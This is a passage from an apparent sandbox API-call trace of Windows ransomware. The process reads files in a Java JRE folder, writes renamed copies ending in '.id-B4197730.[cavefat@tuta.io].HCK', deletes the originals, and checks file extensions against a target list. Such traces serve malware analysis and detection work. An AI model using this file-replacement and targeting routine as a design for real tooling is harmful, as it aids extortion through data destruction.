liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.258] SetEndOfFile (hFile=0x458) returned 1 [0226.264] CloseHandle (hObject=0x458) returned 1 [0226.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.264] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".doc") returned 4 [0226.265] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".docx") returned 5 [0226.265] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.265] lstrlenW (lpString=".pdf") returned 4 [0226.265] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".xls") returned 4 [0226.265] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".xlsx") returned 5 [0226.265] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.265] lstrlenW (lpString=".ppt") returned 4 [0226.265] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".zip") returned 4 [0226.265] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".rar") returned 4 [0226.265] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".bz2") returned 4 [0226.265] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".7z") returned 3 [0226.265] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".dbf") returned 4 [0226.265] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".1cd") returned 4 [0226.265] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".jpg") returned 4 [0226.265] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.265] lstrlenW (lpString=".doc") returned 4 [0226.265] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".docx") returned 5 [0226.265] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.265] lstrlenW (lpString=".pdf") returned 4 [0226.265] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".xls") returned 4 [0226.265] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString=".xlsx") returned 5 [0226.265] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.265] lstrlenW (lpString=".ppt") returned 4 [0226.265] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.266] lstrlenW (lpString=".zip") returned 4 [0226.266] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.266] lstrlenW (lpString=".rar") returned 4 [0226.266] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.266] lstrlenW (lpString=".bz2") returned 4 [0226.266] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.266] lstrlenW (lpString=".7z") returned 3 [0226.266] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.266] lstrlenW (lpString=".dbf") returned 4 [0226.266] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.266] lstrlenW (lpString=".1cd") returned 4 [0226.266] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0226.266] lstrlenW (lpString=".jpg") returned 4 [0226.266] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.266] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.266] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0226.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.267] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3752) returned 1 [0226.267] CloseHandle (hObject=0x458) returned 1 [0226.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0226.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.267] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.267] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0226.268] GetLastError () returned 0x0 [0226.268] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xea8, lpOverlapped=0x0) returned 1 [0226.269] WriteFile (in: hFile=0x3e4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0226.270] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.270] WriteFile (in: hFile=0x3e4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x106, lpOverlapped=0x0) returned 1 [0226.270] SetEndOfFile (hFile=0x3e4) returned 1 [0226.270] CloseHandle (hObject=0x3e4) returned 1 [0226.270] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.270] SetEndOfFile (hFile=0x458) returned 1 [0226.273] CloseHandle (hObject=0x458) returned 1 [0226.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.273] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".doc") returned 4 [0226.274] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".docx") returned 5 [0226.274] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.274] lstrlenW (lpString=".pdf") returned 4 [0226.274] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".xls") returned 4 [0226.274] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".xlsx") returned 5 [0226.274] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.274] lstrlenW (lpString=".ppt") returned 4 [0226.274] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".zip") returned 4 [0226.274] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".rar") returned 4 [0226.274] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".bz2") returned 4 [0226.274] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString=".7z") returned 3 [0226.274] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".dbf") returned 4 [0226.274] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".1cd") returned 4 [0226.274] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".jpg") returned 4 [0226.274] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.274] lstrlenW (lpString=".doc") returned 4 [0226.274] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".docx") returned 5 [0226.275] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.275] lstrlenW (lpString=".pdf") returned 4 [0226.275] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".xls") returned 4 [0226.275] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".xlsx") returned 5 [0226.275] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.275] lstrlenW (lpString=".ppt") returned 4 [0226.275] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.275] lstrlenW (lpString=".zip") returned 4 [0226.275] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".rar") returned 4 [0226.275] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".bz2") returned 4 [0226.275] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString=".7z") returned 3 [0226.275] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.275] lstrlenW (lpString=".dbf") returned 4 [0226.275] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.275] lstrlenW (lpString=".1cd") returned 4 [0226.275] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0226.275] lstrlenW (lpString=".jpg") returned 4 [0226.275] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.275] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.275] lstrlenW (lpString="deploy.jar") returned 10 [0226.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.276] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5040094) returned 1 [0226.276] CloseHandle (hObject=0x458) returned 1 [0226.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0226.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".doc") returned 4 [0226.277] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.277] lstrlenW (lpString=".docx") returned 5 [0226.277] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0226.277] lstrlenW (lpString=".pdf") returned 4 [0226.277] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".xls") returned 4 [0226.277] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".xlsx") returned 5 [0226.277] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0226.277] lstrlenW (lpString=".ppt") returned 4 [0226.277] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".zip") returned 4 [0226.277] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".rar") returned 4 [0226.277] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".bz2") returned 4 [0226.277] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.277] lstrlenW (lpString=".7z") returned 3 [0226.277] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".dbf") returned 4 [0226.277] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".1cd") returned 4 [0226.277] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".jpg") returned 4 [0226.277] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.277] lstrlenW (lpString=".doc") returned 4 [0226.277] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.277] lstrlenW (lpString=".docx") returned 5 [0226.277] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0226.277] lstrlenW (lpString=".pdf") returned 4 [0226.277] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".xls") returned 4 [0226.277] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.277] lstrlenW (lpString=".xlsx") returned 5 [0226.277] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0226.277] lstrlenW (lpString=".ppt") returned 4 [0226.277] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.278] lstrlenW (lpString=".zip") returned 4 [0226.278] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.278] lstrlenW (lpString=".rar") returned 4 [0226.278] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.278] lstrlenW (lpString=".bz2") returned 4 [0226.278] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.278] lstrlenW (lpString=".7z") returned 3 [0226.278] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.278] lstrlenW (lpString=".dbf") returned 4 [0226.278] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.278] lstrlenW (lpString=".1cd") returned 4 [0226.278] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0226.278] lstrlenW (lpString=".jpg") returned 4 [0226.278] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.278] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.278] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0226.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.281] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=188024) returned 1 [0226.281] CloseHandle (hObject=0x458) returned 1 [0226.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0226.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.281] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.281] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.378] GetLastError () returned 0x0 [0226.378] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0226.384] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0226.386] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.386] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfc, lpOverlapped=0x0) returned 1 [0226.387] SetEndOfFile (hFile=0x448) returned 1 [0226.387] CloseHandle (hObject=0x448) returned 1 [0226.387] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.387] SetEndOfFile (hFile=0x458) returned 1 [0226.391] CloseHandle (hObject=0x458) returned 1 [0226.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.391] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0226.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.392] lstrlenW (lpString=".doc") returned 4 [0226.392] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.392] lstrlenW (lpString=".docx") returned 5 [0226.392] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0226.392] lstrlenW (lpString=".pdf") returned 4 [0226.392] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.392] lstrlenW (lpString=".xls") returned 4 [0226.392] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.392] lstrlenW (lpString=".xlsx") returned 5 [0226.392] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0226.392] lstrlenW (lpString=".ppt") returned 4 [0226.392] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.392] lstrlenW (lpString=".zip") returned 4 [0226.392] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.392] lstrlenW (lpString=".rar") returned 4 [0226.392] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.392] lstrlenW (lpString=".bz2") returned 4 [0226.392] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.392] lstrlenW (lpString=".7z") returned 3 [0226.392] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.392] lstrlenW (lpString=".dbf") returned 4 [0226.392] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.392] lstrlenW (lpString=".1cd") returned 4 [0226.393] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".jpg") returned 4 [0226.393] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".doc") returned 4 [0226.393] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.393] lstrlenW (lpString=".docx") returned 5 [0226.393] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0226.393] lstrlenW (lpString=".pdf") returned 4 [0226.393] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.393] lstrlenW (lpString=".xls") returned 4 [0226.393] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.393] lstrlenW (lpString=".xlsx") returned 5 [0226.393] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0226.393] lstrlenW (lpString=".ppt") returned 4 [0226.393] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.393] 